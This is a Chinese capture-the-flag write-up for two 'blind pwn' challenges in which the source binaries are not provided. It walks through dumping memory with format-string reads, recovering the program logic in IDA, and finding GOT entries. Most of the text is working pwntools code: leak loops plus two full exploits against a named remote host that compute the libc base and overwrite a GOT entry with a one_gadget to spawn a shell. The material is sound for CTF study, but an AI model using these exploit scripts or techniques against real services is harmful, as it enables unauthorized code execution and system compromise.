出题人好像比较喜欢blind pwn,5道pwn题里有3个,由于时间关系来不及看rop64了(我太菜)。
只给了ip&port,没有附件猜测是blind pwn,根据题目名字,猜想有格式化字符串漏洞,试了一下发现是一个循环(毕竟是复读机),每次都可以利用格式化字符串漏洞,于是首先想法是先将内存dump下来再分析,如果32位程序没开pie保护,程序首地址为0x8048000。
def leak(addr):
payload = "%10$s.TMP" + p32(addr)
io.sendline(payload)
print "leaking:", hex(addr)
io.recvuntil('Repeater:')
resp = io.recvuntil(".TMP")
ret = resp[:-4:]
print ret, len(ret)
remain = io.recvrepeat(0.2)
return ret
start_addr = 0x8048000
#leak(0x8048000)
text_seg = ''
try:
while True:
ret = leak(start_addr)
text_seg += ret
start_addr += len(ret)
if start_addr>=0x8048b00:
break
if len(ret) == 0:
start_addr += 1
text_seg += '\x00'
except Exception as e:
print e
print '[+]', len(text_seg)
with open('dump_bin', 'wb') as f:
f.write(text_seg)
代码段差不多到0x8048b00就结束了,跑完之后放到ida中,找到代码段,下面应该是main函数,根据远程服务器的返回以及流程猜测对应函数吧。
seg000:08048605 push ebp
seg000:08048606 mov ebp, esp
seg000:08048608 push ecx
seg000:08048609 sub esp, 244h
seg000:0804860F mov eax, large gs:14h
seg000:08048615 mov [ebp-0Ch], eax
seg000:08048618 xor eax, eax
seg000:0804861A mov eax, ds:804A064h
seg000:0804861F sub esp, 8
seg000:08048622 push 0
seg000:08048624 push eax
seg000:08048625 call sub_8048450
seg000:0804862A add esp, 10h
seg000:0804862D mov eax, ds:804A060h
seg000:08048632 sub esp, 8
seg000:08048635 push 0
seg000:08048637 push eax
seg000:08048638 call sub_8048450
seg000:0804863D add esp, 10h
seg000:08048640 mov eax, ds:804A040h
seg000:08048645 sub esp, 8
seg000:08048648 push 0
seg000:0804864A push eax
seg000:0804864B call sub_8048450
seg000:08048650 add esp, 10h
seg000:08048653 sub esp, 0Ch
seg000:08048656 push 80487E0h
seg000:0804865B call sub_8048490
seg000:08048660 add esp, 10h
seg000:08048663 sub esp, 0Ch
seg000:08048666 push 804885Ch
seg000:0804866B call sub_8048490
seg000:08048670 add esp, 10h
seg000:08048673 mov dword ptr [ebp-240h], 0
seg000:0804867D
seg000:0804867D loc_804867D: ;循环
seg000:0804867D sub esp, 0Ch
seg000:08048680 push 3
seg000:08048682 call sub_8048480 ;目测alarm
seg000:08048687 add esp, 10h
seg000:0804868A sub esp, 4
seg000:0804868D push 101h
seg000:08048692 push 0
seg000:08048694 lea eax, [ebp-239h]
seg000:0804869A push eax
seg000:0804869B call sub_80484D0 ;目测memset
seg000:080486A0 add esp, 10h
seg000:080486A3 sub esp, 4
seg000:080486A6 push 12Ch
seg000:080486AB push 0
seg000:080486AD lea eax, [ebp-138h]
seg000:080486B3 push eax
seg000:080486B4 call sub_80484D0 ;memset,初始化的两个缓冲区
seg000:080486B9 add esp, 10h
seg000:080486BC sub esp, 0Ch
seg000:080486BF push 804887Dh ;这里push的地址,是数据段的字符串,应该是要打印东西了,猜测是puts函数。
seg000:080486C4 call sub_8048470
seg000:080486C9 add esp, 10h
seg000:080486CC sub esp, 4
seg000:080486CF push 100h
seg000:080486D4 lea eax, [ebp-239h]
seg000:080486DA push eax
seg000:080486DB push 0
seg000:080486DD call sub_8048460 ;这里看入栈参数应该是read
seg000:080486E2 add esp, 10h
seg000:080486E5 sub esp, 4
seg000:080486E8 lea eax, [ebp-239h]
seg000:080486EE push eax
seg000:080486EF push 804888Dh
seg000:080486F4 lea eax, [ebp-138h]
seg000:080486FA push eax
seg000:080486FB call sub_80484E0 ;这边两个缓冲区都作为参数,并且有格式化字符,猜测是sprintf
seg000:08048700 add esp, 10h
seg000:08048703 sub esp, 0Ch
seg000:08048706 lea eax, [ebp-138h]
seg000:0804870C push eax
seg000:0804870D call sub_80484B0 ;下面将eax和10eh进行比较,猜测这个是strlen
seg000:08048712 add esp, 10h
seg000:08048715 mov [ebp-240h], eax
seg000:0804871B cmp dword ptr [ebp-240h], 10Eh
seg000:08048725 jbe short loc_8048741
seg000:08048727 sub esp, 0Ch ;这边是输入的字符串超了限制。
seg000:0804872A push 804889Ch
seg000:0804872F call sub_8048470
seg000:08048734 add esp, 10h
seg000:08048737 sub esp, 0Ch
seg000:0804873A push 0
seg000:0804873C call sub_80484A0 ;exit(0)
seg000:08048741
seg000:08048741 loc_8048741: ; CODE XREF: seg000:08048725j
seg000:08048741 sub esp, 0Ch
seg000:08048744 lea eax, [ebp-138h]
seg000:0804874A push eax
seg000:0804874B call sub_8048470 ;puts
seg000:08048750 add esp, 10h
seg000:08048753 jmp loc_804867D ;下一个循环
程序逻辑搞清之后,跟入sprint函数,进入到dump下来的plt表里。
那么所有的要素就已经齐了,sprint_plt=0x80484e0;sprint_got=0x804a030。先读libc,再进行got_hijack就可以了。下面是完整的exp。
from pwn import *
io=remote('47.108.135.45','20075')
def leak(addr):
payload = "%10$s.TMP" + p32(addr)
io.sendline(payload)
print "leaking:", hex(addr)
io.recvuntil('Repeater:')
resp = io.recvuntil(".TMP")
ret = resp[:-4:]
print ret, len(ret)
remain = io.recvrepeat(0.2)
return ret
'''
start_addr = 0x8048000
leak(0x8048000)
text_seg = ''
try:
while True:
ret = leak(start_addr)
text_seg += ret
start_addr += len(ret)
if start_addr>=0x8048b00:
break
if len(ret) == 0:
start_addr += 1
text_seg += '\x00'
except Exception as e:
print e
print '[+]', len(text_seg)
with open('dump_bin', 'wb') as fout:
fout.write(text_seg)
'''
puts_got=0x804a014
sprint_got=0x804a030
payload = "%10$s.TMP" + p32(sprint_got)
io.sendline(payload)
io.recvuntil('Repeater:')
sprint_add=u32(io.recv(4))
print(hex(sprint_add))
libc_base=sprint_add-0x049080
print(hex(libc_base))
one_gadget=libc_base+0x3a80c
a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%16$hn'
payload += '%' + str(b - a) + 'c' +'%17$hn'
payload = payload.ljust(33, 'A')+p32(puts_got)+p32(puts_got+2)
io.sendline(payload)
io.interactive()
这个题同样也是格式化字符串漏洞的盲pwn,和上题的区别是64位的程序,这题我也尝试了dump代码段,64位程序,程序首地址为0x400000,于是dump到0x400b00,虽然内存成功dump下来了,但是放到ida反汇编失败了,原因未知(我太菜了),由于当时比赛快结束了(最后5分钟做完交上的),所以就想程序逻辑应该大概和32位类似,还是要想办法知道got表的未知,题目同时还提供了一个附件。
$ readelf -s stilltest
Symbol table '.dynsym' contains 15 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.2.5 (2)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.2.5 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.2.5 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.2.5 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
9: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sprintf@GLIBC_2.2.5 (2)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.2.5 (2)
12: 0000000000601080 8 OBJECT GLOBAL DEFAULT 26 stdout@GLIBC_2.2.5 (2)
13: 0000000000601090 8 OBJECT GLOBAL DEFAULT 26 stdin@GLIBC_2.2.5 (2)
14: 00000000006010a0 8 OBJECT GLOBAL DEFAULT 26 stderr@GLIBC_2.2.5 (2)
可以发现提供了输入输出的位置,这几个一般是在bss段上的,由于bss段就在got表附近,于是想把这一块位置都dump下来。
def leak(addr):
payload = "%9$s.TMP" + p64(addr)
io.sendline(payload)
print "leaking:", hex(addr)
io.recvuntil('Repeater:')
resp = io.recvuntil(".TMP")
ret = resp[:-4:]
print ret, len(ret)
remain = io.recvrepeat(0.2)
return ret
start_addr = 0x601000
text_seg = ''
try:
while True:
ret = leak(start_addr)
text_seg += ret
start_addr += len(ret)
if start_addr>=0x6010a0:
break
if len(ret) == 0:
start_addr += 1
text_seg += '\x00'
except Exception as e:
print e
print '[+]', len(text_seg)
with open('dump_got', 'wb') as f:
f.write(text_seg)
0000000000601000 0000000000600E28 00007F6231568168
0000000000601010 00007F6231358EE0 00007F6230FE6690
0000000000601020 00007F6231002720 00007F6230FED6B0
0000000000601030 00007F6230FCC800 00007F62310E9970
0000000000601040 00007F6231043200 00007F623106E250
0000000000601050 00007F6230F97740 00007F6230FCC940
0000000000601060 0000000000400706 0000000000000000
0000000000601070 0000000000000000 0000000000000000
0000000000601080 00007F623133C620 0000000000000000
0000000000601090 00007F623133B8E0 0000000000000000
00000000006010A0 7F623133C540
很明显是got表了,经过反复测试(利用格式化字符串修改got表,会导致该函数坏掉,根据服务坏掉的位置猜测函数对应)最终确定0x601048这个函数对应的是read函数(大胆猜测,小心求证),尝试得到libc基址,然后随便覆盖个下次会执行到的函数,就可以getshell了,完整exp如下。
from pwn import *
import binascii
io=remote('47.108.135.45','20075')
libc=ELF('./libc-2.23.so')
def leak(addr):
payload = "%9$s.TMP" + p64(addr)
io.sendline(payload)
print "leaking:", hex(addr)
io.recvuntil('Repeater:')
resp = io.recvuntil(".TMP")
ret = resp[:-4:]
print ret, len(ret)
remain = io.recvrepeat(0.2)
return ret
#leak(0x400000)
print('puts:'+hex(libc.sym['puts']))
print('strlen:'+hex(libc.sym['strlen']))
print('printf:'+hex(libc.sym['printf']))
print('read:'+hex(libc.sym['read']))
print('memset:'+hex(libc.sym['memset']))
print('setbuf:'+hex(libc.sym['setbuf']))
print('alarm:'+hex(libc.sym['alarm']))
#start_addr = 0x601000
#leak(0x06010a0)
'''
text_seg = ''
try:
while True:
ret = leak(start_addr)
text_seg += ret
start_addr += len(ret)
if start_addr>=0x6010a0:
break
if len(ret) == 0:
start_addr += 1
text_seg += '\x00'
except Exception as e:
print e
print '[+]', len(text_seg)
with open('dump_got', 'wb') as fout:
fout.write(text_seg)
'''
read_got=0x601048
payload = "%9$s.TMP" + p64(read_got)
io.sendline(payload)
io.recvuntil('Repeater:')
read_add=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_add))
libc_base=read_add-0x0f7250
print(hex(libc_base))
one_gadget=libc_base+0xf1147
print(hex(one_gadget))
a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%12$hn'
payload += '%' + str(b - a) + 'c' +'%13$hn'
payload = payload.ljust(32, 'A')+p64(0x601058)+p64(0x601058+2)
io.sendline(payload)
'''
io.recvuntil('QQQ')
edit=u64(io.recv(6).ljust(8,'\x00'))
print(hex(edit))
#io.sendline('/bin/sh\x00')
'''
#io.sendline('AAAAAAAA'+'%8$p')
io.interactive()
blind pwn最早好像是出现在Lctf上的,还是挺有意思的,毕竟在真实环境下不一定能获得远程服务的二进制代码,做这类题目想办法利用程序的任意地址读(缓冲区溢出漏洞,格式化字符串漏洞)来进行信息泄露,比较重要的信息就是,代码段(理解解程序逻辑),plt段,以及got表了,知道了信息之后就正常利用就行了。有些部分可能需要大胆猜测以及经验,推理逻辑可能没有那么完整(也可能是我太菜了),最后这个安洵杯,时间对一个人做的还是感觉有些短了(Pwn都没看完)。